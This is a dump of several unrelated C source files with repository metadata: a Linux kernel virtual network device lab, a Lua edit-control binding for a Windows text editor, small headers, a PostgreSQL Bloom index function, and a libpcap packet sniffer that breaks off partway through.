printk(KERN_INFO "%s: device %s closed\n", THIS_MODULE->name, dev->name); return 0; } static struct net_device_ops device_ops = { .ndo_open = lab3_dev_open, .ndo_stop = lab3_dev_stop, .ndo_get_stats = get_stats, .ndo_start_xmit = inspect_tx_frame, }; // === PROC ssize_t proc_read(struct file* f, char __user* buf, size_t count, loff_t* ppos) { int buf_size = 256; char tmp[buf_size]; struct dev_state* state; int out_len; if (*ppos > 0) return 0; state = netdev_priv(child_dev); out_len = snprintf( tmp, buf_size, "Packets received: %ld\nBytes received: %ld\n", state->packet_stats.rx_packets, state->packet_stats.rx_bytes); if (out_len < 0 || out_len >= buf_size) return -EFAULT; if (copy_to_user(buf, tmp, out_len) != 0) return -EFAULT; *ppos += out_len; return out_len; } struct file_operations proc_file_ops = { .owner = THIS_MODULE, .read = proc_read, }; // === PROC static void setup_netdev(struct net_device* dev) { int i; ether_setup(dev); dev->netdev_ops = &device_ops; // fill in the MAC address with a phoney for (i = 0; i < ETH_ALEN; i++) dev->dev_addr[i] = (char)i; } int __init lab3_init(void) { int err = 0; struct dev_state* state; if (target_if == NULL || target_str == NULL || target_proc_name == NULL) { printk(KERN_ERR "%s: parameters target_if/target_str/target_proc_name are not specified\n", THIS_MODULE->name); return -EINVAL; } if ((child_dev = alloc_netdev(sizeof(struct dev_state), "vni%d", NET_NAME_UNKNOWN, setup_netdev)) == NULL) { printk(KERN_ERR "%s: alloc_netdev failed\n", THIS_MODULE->name); return -ENOMEM; } state = netdev_priv(child_dev); memset(state, 0, sizeof(struct dev_state)); if ((state->parent_dev = __dev_get_by_name(&init_net, target_if)) == NULL) { printk(KERN_ERR "%s: no such net: %s\n", THIS_MODULE->name, target_if); free_netdev(child_dev); return -ENODEV; } if (state->parent_dev->type != ARPHRD_ETHER && state->parent_dev->type != ARPHRD_LOOPBACK) { printk(KERN_ERR "%s: illegal net type\n", THIS_MODULE->name); free_netdev(child_dev); return -EINVAL; } memcpy(child_dev->dev_addr, state->parent_dev->dev_addr, ETH_ALEN); memcpy(child_dev->broadcast, state->parent_dev->broadcast, ETH_ALEN); if ((err = dev_alloc_name(child_dev, child_dev->name))) { printk(KERN_ERR "%s: failed to allocate device name, error %i\n", THIS_MODULE->name, err); free_netdev(child_dev); return -EIO; } if ((state->proc_entry = proc_create(target_proc_name, 0444, NULL, &proc_file_ops)) == NULL) { printk(KERN_ERR "%s: failed to create proc device at /proc/%s\n", THIS_MODULE->name, target_proc_name); free_netdev(child_dev); return -EIO; } register_netdev(child_dev); rtnl_lock(); netdev_rx_handler_register(state->parent_dev, &inspect_rx_frame, NULL); rtnl_unlock(); printk(KERN_INFO "%s: loaded\n", THIS_MODULE->name); printk(KERN_INFO "%s: created link %s\n", THIS_MODULE->name, child_dev->name); printk(KERN_INFO "%s: registered rx handler for %s\n", THIS_MODULE->name, state->parent_dev->name); return 0; } void __exit lab3_exit(void) { struct dev_state* state = netdev_priv(child_dev); if (state->parent_dev) { rtnl_lock(); netdev_rx_handler_unregister(state->parent_dev); rtnl_unlock(); printk(KERN_INFO "%s: unregistered rx handler for %s\n", THIS_MODULE->name, state->parent_dev->name); } proc_remove(state->proc_entry); unregister_netdev(child_dev); free_netdev(child_dev); printk(KERN_INFO "%s: unloaded\n", THIS_MODULE->name); } module_init(lab3_init); module_exit(lab3_exit);
e09c08dce7c992a7afed64c9745769fb97092c35
7fd951cf60c21926985bd61b8896697baee09af0
/luaedithandle.c
41d4e038c9b6cde9f02c6c4e7cba058565d70512
[]
no_license
qtnc/6pad
dbc58e3531b25b8bc0ab26b68b1ce12a861bef09
7a302ade64ba50fd14e2c1d74cff1cf16cf82212
refs/heads/master
2021-01-02T22:30:52.194601
2018-01-28T16:46:45
2018-01-28T16:46:45
16,842,753
1
1
null
null
null
null
UTF-8
C
false
false
8,558
c
luaedithandle.c
#define UNICODE #include<luaex.h> #include<windows.h> #include "consts.h" #include "global.h" #define lregt(l,n,f) lua_pushcclosure(l,f,0); lua_setfield(l,-2,n) #define gethandle(l,n) (*(HWND*)(lua_touserdata(l,n))) #define streq(a,b) (0==strcmp(a,b)) extern HWND win, edit; extern pagecontext* curPage; extern BOOL handleCloseHandler (HWND, int) ; extern int luacommonhandle_setfocus (lua_State* l) ; extern int luacommonhandle_close (lua_State* l) ; void editReplaceSel (HWND h, const wchar_t* s, int ss, int se, BOOL restoresel) { int oldss, oldse, slen = wcslen(s); if (h==edit) { curPage->shouldAddUndo = TRUE; editAboutToChange(0); } if (restoresel) { SendMessage(h, EM_GETSEL, &oldss, &oldse); if (ss>=-1) SendMessage(h, EM_SETSEL, ss, se); } SendMessage(h, EM_REPLACESEL, TRUE, s); if (restoresel) { if (oldss>ss) oldss += slen - abs(se-ss); if (oldse>ss) oldse += slen - abs(se-ss); SendMessage(h, EM_SETSEL, oldss, oldse); } SendMessage(h, EM_SCROLLCARET, 0, 0); if (h==edit) { SendMessage(win, WM_COMMAND, (EN_CHANGE<<16) | IDT_EDIT, edit); updateStatusBar(); }} static int eh_index (lua_State* l) { HWND edit = gethandle(l,1); if (lua_isnumber(l,2)) { int num = luaL_checkint(l,2); if (num==0) num = SendMessage(edit, EM_LINEFROMCHAR, -1, 0); else if (num<0) num += SendMessage(edit, EM_GETLINECOUNT, 0, 0); else num--; int lidx = SendMessage(edit, EM_LINEINDEX, num, 0); int ll = SendMessage(edit, EM_LINELENGTH, lidx, 0); wchar_t* wc = malloc(sizeof(wchar_t) * (ll+1)); wc[0] = ll; SendMessage(edit, EM_GETLINE, num, wc); wc[ll]=0; const char* mbc = strncvt(wc, ll, CP_UTF16, CP_UTF8, NULL); lua_pushstring(l,mbc); free(mbc); free(wc); return 1; } const char* nm = luaL_checkstring(l,2); if (streq(nm, "text")) { HLOCAL hEdit = SendMessage(edit, EM_GETHANDLE, 0, 0); const wchar_t* wstr = LocalLock(hEdit); const char* str = strcvt(wstr, CP_UTF16, CP_UTF8, NULL); LocalUnlock(hEdit); lua_pushstring(l,str); free(str); return 1; } else if (streq(nm,"selText") || streq(nm, "selectedText")) { int ssel=0, esel=0; SendMessage(edit, EM_GETSEL, &ssel, &esel); HLOCAL hEdit = SendMessage(edit, EM_GETHANDLE, 0, 0); const wchar_t* wstr = LocalLock(hEdit); const char* str = strncvt(wstr+ssel, esel-ssel, CP_UTF16, CP_UTF8, NULL); LocalUnlock(hEdit); lua_pushlstring(l, str, esel-ssel); free(str); return 1; } else if (streq(nm, "selStart") || streq(nm, "selectionStart")) { int k; SendMessage(edit, EM_GETSEL, &k, 0); lua_pushinteger(l,k+1); return 1; } else if (streq(nm, "selEnd") || streq(nm, "selectionEnd")) { int k; SendMessage(edit, EM_GETSEL, 0, &k); lua_pushinteger(l,k+1); return 1; } else if (streq(nm, "currentLine")) { lua_pushinteger(l, 1+SendMessage(edit, EM_LINEFROMCHAR, -1, 0)); return 1; } else if (streq(nm, "lineCount")) { lua_pushinteger(l, SendMessage(edit, EM_GETLINECOUNT, 0, 0)); return 1; } else if (streq(nm, "readOnly")) { lua_pushboolean(l, ES_READONLY&GetWindowLong(edit, GWL_STYLE)); return 1; } else if (streq(nm, "closed")) { lua_pushboolean(l, IsWindow(edit)!=0); return 1; } else if (streq(nm, "modified")) { lua_pushboolean(l, 0!=SendMessage(edit, EM_GETMODIFY, 0, 0)); return 1; } else if (streq(nm, "onClose")) { void* p = GetProp(edit, L"onClose"); if (p) lua_pushluafunction(l,p); else lua_pushnil(l); return 1; } else if (streq(nm, "onContextMenu")) { void* p = GetProp(edit, L"onContextMenu"); if (p) lua_pushluafunction(l,p); else lua_pushnil(l); return 1; } else if (streq(nm, "hwnd")) { lua_pushlightuserdata(l, edit); return 1; } //SUITE return luaL_getmetafield(l, 1, nm); } static int eh_newindex (lua_State* l) { HWND hEdit = gethandle(l,1); if (lua_isnumber(l,2)) { int num = luaL_checkint(l,2); if (num==0) num = SendMessage(edit, EM_LINEFROMCHAR, -1, 0); else if (num<0) num += SendMessage(edit, EM_GETLINECOUNT, 0, 0); else num--; int lidx = SendMessage(edit, EM_LINEINDEX, num, 0); int ll = SendMessage(edit, EM_LINELENGTH, lidx, 0); const wchar_t* wc = strcvt(luaL_checkstring(l,3), CP_UTF8, CP_UTF16, NULL); editReplaceSel(hEdit, wc, lidx, lidx+ll, TRUE); free(wc); return 0; } const char* nm = luaL_checkstring(l,2); if (streq(nm, "selText") || streq(nm, "selectedText")) { const wchar_t* wc = strcvt(luaL_checkstring(l,3), CP_UTF8, CP_UTF16, NULL); editReplaceSel(hEdit, wc, -2, -2, FALSE); free(wc); } else if (streq(nm, "text")) { const wchar_t* wc = strcvt(luaL_checkstring(l,3), CP_UTF8, CP_UTF16, NULL); editReplaceSel(hEdit, wc, 0, -1, TRUE); free(wc); } else if (streq(nm, "selStart") || streq(nm, "selectionStart")) { int selStart, selEnd; SendMessage(hEdit, EM_GETSEL, &selStart, &selEnd); selStart = luaL_checkint(l,3); if (selStart<=0) selStart += GetWindowTextLength(hEdit); else selStart--; SendMessage(hEdit, EM_SETSEL, selStart, selEnd); SendMessage(hEdit, EM_SCROLLCARET, 0, 0); if (edit==hEdit) updateStatusBar(); } else if (streq(nm, "selEnd") || streq(nm, "selectionEnd")) { int selStart, selEnd; SendMessage(hEdit, EM_GETSEL, &selStart, &selEnd); selEnd = luaL_checkint(l,3); if (selEnd<=0) selStart += GetWindowTextLength(hEdit); else selEnd--; SendMessage(hEdit, EM_SETSEL, selStart, selEnd); SendMessage(hEdit, EM_SCROLLCARET, 0, 0); if (edit==hEdit) updateStatusBar(); } else if (streq(nm, "currentLine")) { int num = luaL_checkint(l,3); if (num==0) luaL_argerror(l, 3, "0 is not a correct value"); else if (num<0) num += SendMessage(hEdit, EM_GETLINECOUNT, 0, 0); else num--; int lidx = SendMessage(hEdit, EM_LINEINDEX, num, 0); SendMessage(hEdit, EM_SETSEL, lidx, lidx); SendMessage(hEdit, EM_SCROLLCARET, 0, 0); if (edit==hEdit) updateStatusBar(); } else if (streq(nm, "readOnly")) { SendMessage(hEdit, EM_SETREADONLY, luaL_checkboolean(l,3)!=0, 0); } else if (streq(nm, "modified")) { SendMessage(hEdit, EM_SETMODIFY, luaL_checkboolean(l,3)!=0, 0); } else if (streq(nm, "onClose")) SetProp(hEdit, L"onClose", lua_topointer(l,3)); else if (streq(nm, "onContextMenu")) SetProp(hEdit, L"onContextMenu", lua_topointer(l,3)); //SUITE else luaL_argerror(l, 2, "undefined property"); return 0; } static int eh_linecount (lua_State* l) { HWND edit = gethandle(l,1); lua_settop(l,0); lua_pushinteger(l, SendMessage(edit, EM_GETLINECOUNT, 0, 0)); return 1; } static int eh_select (lua_State* l) { HWND edit = gethandle(l,1); int start = luaL_optint(l,2,0), end = luaL_optint(l,3,0), curStart, curEnd, len = GetWindowTextLength(edit); SendMessage(edit, EM_GETSEL, &curStart, &curEnd); if (start<0) start += len; else if (start>0) start--; else if (start==0) start = curStart; if (end<0) end += len; else if (end>0) end--; else if (end==0) end = curEnd; SendMessage(edit, EM_SETSEL, start, end); lua_settop(l,0); lua_pushinteger(l,start); lua_pushinteger(l,end); return 2; } static int eh_line2offset (lua_State* l) { HWND edit = gethandle(l,1); int num = luaL_optint(l,2,0); if (num>0) num--; else if (num<0) num += SendMessage(edit, EM_GETLINECOUNT, 0, 0); else num = -1; int re = SendMessage(edit, EM_LINEINDEX, num, 0); lua_settop(l,0); lua_pushinteger(l,re+1); return 1; } static int eh_offset2line (lua_State* l) { HWND edit = gethandle(l,1); int num = luaL_optint(l,2,0); if (num>0) num--; else if (num<0) num += GetWindowTextLength(edit); else num = -1; int re = SendMessage(edit, EM_LINEFROMCHAR, num, 0); lua_settop(l,0); lua_pushinteger(l,re+1); return 1; } static int eh_insert (lua_State* l) { HWND edit = gethandle(l,1); const char* mbs = lua_tostring(l,2); if (!mbs) return 0; int ss = luaL_optint(l,3,0), se = luaL_optint(l,4,0); const wchar_t* ws = strcvt(mbs, CP_UTF8, CP_UTF16, NULL); if (ss==0) editReplaceSel(edit, ws, -2, -2, FALSE); else { if (ss<0) ss += GetWindowTextLength(edit) +1; else ss--; if (se==0) se=ss; else if (se<-1) se += GetWindowTextLength(edit) +1; else se--; editReplaceSel(edit, ws, ss, se, ss!=se); } free(ws); lua_settop(l,1); return 1; } static int eh_append (lua_State* l) { HWND edit = gethandle(l,1); const char* s = lua_tostring(l,2); if (!s) return; const wchar_t* ws = strcvt(s, CP_UTF8, CP_UTF16, NULL); int k = GetWindowTextLength(edit); editReplaceSel(edit, ws, k, k, FALSE); free(ws); lua_settop(l,1); return 1; } int luaopen_editapi (lua_State* l) { lua_newclass(l, "edithandle"); lregt(l, "focus", luacommonhandle_setfocus); lregt(l, "close", luacommonhandle_close); lregt(l, "insert", eh_insert); lregt(l, "replace", eh_insert); lregt(l, "append", eh_append); lregt(l, "offsetOfLine", eh_line2offset); lregt(l, "lineOfOffset", eh_offset2line); lregt(l, "select", eh_select); lregt(l, "__index", eh_index); lregt(l, "__newindex", eh_newindex); lregt(l, "__len", eh_linecount); lua_pop(l,1); return 0; }
07611bed3490bed98cd5506185d593d921255536
42b2a5ee7d844ac396c5ccc771c86a9620b1b88a
/h/Timer.h
0be788a92e1a16be65ae51b41c63a81a5849764c
[]
no_license
djokem/X86-CPU-KERNEL
69d38f3363e50fd3c1ca9e6a57bf31ff5ac0ed8c
6ab58b5c72a1ebb69095f0ede9287619d4c5903b
refs/heads/master
2023-01-09T14:16:17.032528
2020-11-12T20:29:38
2020-11-12T20:29:38
312,380,440
0
0
null
null
null
null
UTF-8
C
false
false
182
h
Timer.h
/* * Timer.h * * Created on: Jul 24, 2018 * Author: OS1 */ #ifndef TIMER_H_ #define TIMER_H_ void interrupt timer(); void inic(); void restore(); #endif /* TIMER_H_ */
f2116d487dfbe665eade426cf6ea9f95246b7c85
976f5e0b583c3f3a87a142187b9a2b2a5ae9cf6f
/source/postgres/contrib/bloom/extr_blutils.c_BloomInitMetapage.c
69f026fc568630f3323fa216299cb8744d4b068f
[]
no_license
isabella232/AnghaBench
7ba90823cf8c0dd25a803d1688500eec91d1cf4e
9a5f60cdc907a0475090eef45e5be43392c25132
refs/heads/master
2023-04-20T09:05:33.024569
2021-05-07T18:36:26
2021-05-07T18:36:26
null
0
0
null
null
null
null
UTF-8
C
false
false
1,789
c
extr_blutils.c_BloomInitMetapage.c
#define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ typedef int /*<<< orphan*/ Relation ; typedef int /*<<< orphan*/ Page ; typedef int /*<<< orphan*/ GenericXLogState ; typedef int /*<<< orphan*/ Buffer ; /* Variables and functions */ int /*<<< orphan*/ Assert (int) ; scalar_t__ BLOOM_METAPAGE_BLKNO ; int /*<<< orphan*/ BloomFillMetapage (int /*<<< orphan*/ ,int /*<<< orphan*/ ) ; int /*<<< orphan*/ BloomNewBuffer (int /*<<< orphan*/ ) ; scalar_t__ BufferGetBlockNumber (int /*<<< orphan*/ ) ; int /*<<< orphan*/ GENERIC_XLOG_FULL_IMAGE ; int /*<<< orphan*/ GenericXLogFinish (int /*<<< orphan*/ *) ; int /*<<< orphan*/ GenericXLogRegisterBuffer (int /*<<< orphan*/ *,int /*<<< orphan*/ ,int /*<<< orphan*/ ) ; int /*<<< orphan*/ * GenericXLogStart (int /*<<< orphan*/ ) ; int /*<<< orphan*/ UnlockReleaseBuffer (int /*<<< orphan*/ ) ; void BloomInitMetapage(Relation index) { Buffer metaBuffer; Page metaPage; GenericXLogState *state; /* * Make a new page; since it is first page it should be associated with * block number 0 (BLOOM_METAPAGE_BLKNO). */ metaBuffer = BloomNewBuffer(index); Assert(BufferGetBlockNumber(metaBuffer) == BLOOM_METAPAGE_BLKNO); /* Initialize contents of meta page */ state = GenericXLogStart(index); metaPage = GenericXLogRegisterBuffer(state, metaBuffer, GENERIC_XLOG_FULL_IMAGE); BloomFillMetapage(index, metaPage); GenericXLogFinish(state); UnlockReleaseBuffer(metaBuffer); }
5be1312985dfec0a5f4774ac9fc51d02f595374c
66e8df7df489b45c495adbee1cde7782e88f56bd
/Test/dialogs.h
e4b0eab431afc7e88505d43c0bf16a41fe0e160c
[]
no_license
erisonliang/GDIPlusC
f5dae203370f52c9b11031e186c1aec1b73e780c
22033e08ae4518751b64658ccb49ffc9d5661193
refs/heads/master
2021-05-31T18:16:46.761689
2016-06-10T13:25:43
2016-06-10T13:25:43
null
0
0
null
null
null
null
UTF-8
C
false
false
2,124
h
dialogs.h
#ifndef DIALOGS_H_ #define DIALOGS_H_ #include "resource.h" INT_PTR CALLBACK DialogProc1(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam); INT_PTR CALLBACK DialogProc2(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam); INT_PTR CALLBACK DialogProc3(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam); INT_PTR CALLBACK DialogProc4(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam); INT_PTR CALLBACK DialogProc5(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam); INT_PTR CALLBACK DialogProc6(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam); INT_PTR CALLBACK DialogProc7(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam); INT_PTR CALLBACK DialogProc8(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam); INT_PTR CALLBACK DialogProc9(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam); INT_PTR CALLBACK DialogProc10(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam); INT_PTR CALLBACK DialogProc11(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam); INT_PTR CALLBACK DialogProc12(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam); INT_PTR CALLBACK DialogProc13(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam); INT_PTR CALLBACK DialogProc14(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam); INT_PTR CALLBACK DialogProc15(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam); INT_PTR CALLBACK DialogProc16(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam); INT_PTR CALLBACK DialogProc17(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam); INT_PTR CALLBACK DialogProc18(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam); INT_PTR CALLBACK DialogProc19(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam); INT_PTR CALLBACK DialogProc20(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam); INT_PTR CALLBACK DialogProc21(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam); INT_PTR CALLBACK DialogProc22(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam); INT_PTR CALLBACK DialogProc23(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam); INT_PTR CALLBACK DialogProc24(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam); INT_PTR CALLBACK DialogProc25(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam); #endif // DIALOGS_H_
d83d356984587d380c7e201b2302cb07288195fd
2b593e2e2d70c91474089f367a54d5ba5c9ef242
/TcpDump/tcpDump.c
fc6a4a2a9f5e19e7a24c690fd07c59017260c539
[]
no_license
shravya-thatipally/Network-Security
5faec0dbc74ab81177c9c9c4edf13539af6db619
92e7479c84e1c3d7d14b058d1ffc8acd2b0bd5dc
refs/heads/master
2021-06-12T06:54:59.947305
2017-01-08T22:39:05
2017-01-08T22:39:05
null
0
0
null
null
null
null
UTF-8
C
false
false
13,838
c
tcpDump.c
#include <pcap.h> #include <stdio.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <ctype.h> #include <assert.h> #include <errno.h> #include <arpa/inet.h> #include <time.h> #include <unistd.h> #include <string.h> #include <stdlib.h> #include<netinet/ether.h> #define SIZE_ETHERNET 14 #define ETHERTYPE_ARP 0x0806 #define ETHERTYPE_IPV4 0x0800 #define IP_HL(ip) (((ip)->ip_vhl) & 0x0f) #define IP_V(ip) (((ip)->ip_vhl) >> 4) typedef enum { false, true } boolean; /* Ethernet*/ struct ethernet { u_char ether_dhost[ETHER_ADDR_LEN]; /* destination host address */ u_char ether_shost[ETHER_ADDR_LEN]; /* source host address */ u_short ether_type; /* IP? ARP? RARP? etc */ }; /* IP header */ struct s_ip { u_char ip_vhl; /* version << 4 | header length >> 2 */ u_char ip_tos; /* type of service */ u_short ip_len; /* total length */ u_short ip_id; /* identification */ u_short ip_off; /* fragment offset field */ #define IP_RF 0x8000 /* reserved fragment flag */ #define IP_DF 0x4000 /* dont fragment flag */ #define IP_MF 0x2000 /* more fragments flag */ #define IP_OFFMASK 0x1fff /* mask for fragmenting bits */ u_char ip_ttl; /* time to live */ u_char ip_p; /* protocol */ u_short ip_sum; /* checksum */ struct in_addr ip_src,ip_dst; /* source and dest address */ }; /* UDP header */ struct s_udp { u_short sport; /* source port */ u_short dport; /* destination port */ u_short udp_length; u_short udp_sum; /* checksum */ }; /* TCP header */ typedef u_int tcp_seq; struct s_tcp { u_short th_sport; /* source port */ u_short th_dport; /* destination port */ tcp_seq th_seq; /* sequence number */ tcp_seq th_ack; /* acknowledgement number */ u_char th_offx2; /* data offset, rsvd */ #define TH_OFF(th) (((th)->th_offx2 & 0xf0) >> 4) u_char th_flags; #define TH_FIN 0x01 #define TH_SYN 0x02 #define TH_RST 0x04 #define TH_PUSH 0x08 #define TH_ACK 0x10 #define TH_URG 0x20 #define TH_ECE 0x40 #define TH_CWR 0x80 #define TH_FLAGS (TH_FIN|TH_SYN|TH_RST|TH_ACK|TH_URG|TH_ECE|TH_CWR) u_short th_win; /* window */ u_short th_sum; /* checksum */ u_short th_urp; /* urgent pointer */ }; void print_hex(const u_char *payload, int l) { int i=0; int g; const u_char *c; c = payload; while(i < l) { printf("%02x ", *c); c++; i++; } if (l< 8) printf(" "); if (l < 16) { g = 16 - l; for(i=0; i < g;i++) { printf(" "); } } printf(" "); c = payload; for(i = 0;i < l; i++) { if (isprint(*c)) printf("%c", *c); else printf("."); c++; } printf("\n"); return; } void get_payload(const u_char *payload, int length) { const u_char *c = payload; int r_length = length,line_width = 16,line_length; if (length <= 0) return; if (length <= line_width) { print_hex(c, length); return; } //for many lines while(1) { line_length = line_width % r_length; print_hex(c, line_length); r_length= r_length - line_length; c = c + line_length; if (r_length<= line_width) { print_hex(c, r_length); break; } } return; } // packet info display void packet_info(boolean http, char *string, const struct pcap_pkthdr *header, const u_char *packet) { const struct ethernet *e; const struct s_ip *ip; const struct s_tcp *tcp; const struct s_udp *udp; const char *payload; int size_ip,size_tcp,size_udp = 8,size_icmp = 8,size_payload,a; time_t t = (time_t)header->ts.tv_sec; char *ptr = ctime(&t); char buf[200]; strcpy(buf, ptr); buf[strlen(buf)-1] = 0; printf("%s ", buf); e = (struct ethernet*)(packet); a=ntohs(e->ether_type); if (a == ETHERTYPE_IPV4) { printf("%s -> ", ether_ntoa((struct ether_addr *)&e->ether_shost)); printf("%s ",ether_ntoa((struct ether_addr *)&e->ether_dhost)); ip = (struct s_ip*)(packet + SIZE_ETHERNET); size_ip = (((ip)->ip_vhl) & 0x0f)*4; printf(" IPv4 "); if (size_ip < 20) { printf("IP header length: %u bytes\n", size_ip); return; } if (ip->ip_p == IPPROTO_TCP) { tcp = (struct s_tcp*)(packet + SIZE_ETHERNET + size_ip); size_tcp = TH_OFF(tcp)*4; printf("TCP "); if (size_tcp < 20) { printf("TCP header length: %u bytes\n", size_tcp); return; } printf("%s.%d -> ", inet_ntoa(ip->ip_src), ntohs(tcp->th_sport)); printf("%s.%d",inet_ntoa(ip->ip_dst), ntohs(tcp->th_dport)); printf(" len %d ", ntohs(ip->ip_len)); if (tcp->th_flags & TH_ECE){ printf(" Flag: TH_ECE"); } if (tcp->th_flags & TH_RST){ printf(" Flag: TH_RST"); } if (tcp->th_flags & TH_SYN){ printf(" Flag: TH_SYN"); } if (tcp->th_flags & TH_FIN){ printf(" Flag: TH_FIN"); } if (tcp->th_flags & TH_PUSH){ printf(" Flag: TH_PUSH"); } if (tcp->th_flags & TH_ACK){ printf(" Flag: TH_ACK"); } if (tcp->th_flags & TH_URG){ printf(" Flag: TH_URG"); } if (tcp->th_flags & TH_CWR){ printf(" Flag: TH_CWR"); } payload = (u_char *)(packet + SIZE_ETHERNET + size_ip + size_tcp); size_payload = ntohs(ip->ip_len) - (size_ip + size_tcp); // print payload if (size_payload > 0) { printf(" Payload (%d bytes):\n", size_payload); if (string != NULL) { if (strstr(payload, string) == NULL) return; } if (http) { char tmp[strlen(payload)]; strcpy(tmp, payload); char *ptr = strtok(tmp, " "); ptr = strtok(NULL, " "); printf("%s\n", ptr); } else { get_payload(payload, size_payload); } } printf("\n"); } else if (ip->ip_p == IPPROTO_UDP) { printf("UDP "); udp = (struct s_udp*)(packet + SIZE_ETHERNET + size_ip); printf("%s.%d -> ", inet_ntoa(ip->ip_src), ntohs(udp->sport)); printf("%s.%d" , inet_ntoa(ip->ip_dst), ntohs(udp->dport)); printf(" len %d ", ntohs(ip->ip_len)); payload = (u_char *)(packet + SIZE_ETHERNET + size_ip + size_udp); size_payload = ntohs(ip->ip_len) - (size_ip + size_udp); if (size_payload > 0) { printf("Payload (%d bytes):\n", size_payload); get_payload(payload, size_payload); } printf("\n"); } else if (ip->ip_p == IPPROTO_ICMP) { printf("ICMP "); printf("%s -> ", inet_ntoa(ip->ip_src)); printf("%s",inet_ntoa(ip->ip_dst)); printf(" len %d ", ntohs(ip->ip_len)); payload = (u_char *)(packet + SIZE_ETHERNET + size_ip + size_icmp); size_payload = ntohs(ip->ip_len) - (size_ip + size_icmp); if (size_payload > 0) { printf("Payload (%d bytes):\n", size_payload); get_payload(payload, size_payload); } printf("\n"); } else { printf("OTHER "); payload = (u_char *)(packet + SIZE_ETHERNET + size_ip); size_payload = ntohs(ip->ip_len) - (size_ip); if (size_payload > 0) { printf("Payload (%d bytes):\n", size_payload); get_payload(payload, size_payload); } printf("\n"); } } else if (a == ETHERTYPE_ARP) { printf("ARP\n"); } else { printf("OTHER\n"); } return; } // callback function for pcap_loop void my_callback(u_char *string, const struct pcap_pkthdr *header, const u_char *packet) { boolean http = false; char *s = NULL; if (string != NULL) { char g = *string; if (g == 'g') { http = true; if (strlen(string+1) > 0) { s = string + 1; } } else { s = string; } } if (s == NULL) packet_info(http, s, header, packet); else { const struct ethernet *ethernet; const struct s_ip *ip; const struct s_tcp *tcp; const struct s_udp *udp; const char *payload; int size_ip,size_tcp,size_udp = 8,size_icmp = 8,a; int size_payload; ethernet = (struct ethernet*)(packet); a=ntohs(ethernet->ether_type); if (a == ETHERTYPE_IPV4) { ip = (struct s_ip*)(packet + SIZE_ETHERNET); size_ip = IP_HL(ip)*4; if (size_ip < 20) { return; } if (ip->ip_p == IPPROTO_TCP) { tcp = (struct s_tcp*)(packet + SIZE_ETHERNET + size_ip); size_tcp = TH_OFF(tcp)*4; payload = (u_char *)(packet + SIZE_ETHERNET + size_ip + size_tcp); size_payload = ntohs(ip->ip_len) - (size_ip + size_tcp); if (size_tcp < 20) { return; } if (size_payload > 0) { char s_payload[size_payload]; strncpy(s_payload, payload, size_payload); if (strstr(s_payload, s) == NULL) return; else packet_info(http, s, header, packet); } else { return; } } else if (ip->ip_p == IPPROTO_UDP) { udp = (struct s_udp*)(packet + SIZE_ETHERNET + size_ip); payload = (u_char *)(packet + SIZE_ETHERNET + size_ip + size_udp); size_payload = ntohs(ip->ip_len) - (size_ip + size_udp); if (size_payload > 0) { char s_payload[size_payload]; strncpy(s_payload, payload, size_payload); if (strstr(s_payload, s) == NULL) return; else packet_info(http, s, header, packet); } else { return; } } else if (ip->ip_p == IPPROTO_ICMP) { payload = (u_char *)(packet + SIZE_ETHERNET + size_ip + size_icmp); size_payload = ntohs(ip->ip_len) - (size_ip + size_icmp); // print payload if (size_payload > 0) { char s_payload[size_payload]; strncpy(s_payload, payload, size_payload); if (strstr(s_payload, s) == NULL) return; else packet_info(http, s, header, packet); } else { return; } } else { payload = (u_char *)(packet + SIZE_ETHERNET + size_ip); size_payload = ntohs(ip->ip_len) - (size_ip); if (size_payload > 0) { char s_payload[size_payload]; strncpy(s_payload, payload, size_payload); if (strstr(s_payload, s) == NULL) return; else packet_info(http, s, header, packet); } else { return; } } } } } int main(int argc, char *argv[]) { int p= 0,count = -1; char *i = NULL, *f = NULL,*s = NULL,*expression = NULL; boolean http = false; char errbuf[PCAP_ERRBUF_SIZE]; pcap_t *handle; struct bpf_program filter; bpf_u_int32 mask; bpf_u_int32 net; struct pcap_pkthdr header; const u_char *packet; // filter for http get and post char http_string[] = "(tcp port http) && ((tcp[32:4] = 0x47455420) || \ (tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x504f5354))"; while ((p = getopt(argc, argv, "i:r:s:g")) != -1) { switch(p) { case 'i': i = optarg; break; case 'r': f = optarg; break; case 's': s = optarg; break; case 'g': http = true; break; case '?': // when user didn't specify argument if (optopt == 'i') { printf("Please specify interface!\n"); return 0; } else if (optopt == 'r') { printf("Please specify file name!\n"); return 0; } else if (optopt == 's') { printf("Please specify match string!\n"); return 0; } else { printf("Unknown argument!\n"); return 0; } default: printf("Default case?!\n"); return 0; } } // get expression if (optind == argc - 1) expression = argv[optind]; else if (optind < argc -1) { printf("Too many arguments. Exiting...\n"); return 0; } if (i!= NULL && f != NULL) { printf("You cannot use interface and file!\n"); return 0; } if (i == NULL && f == NULL) { i = pcap_lookupdev(errbuf); if (i == 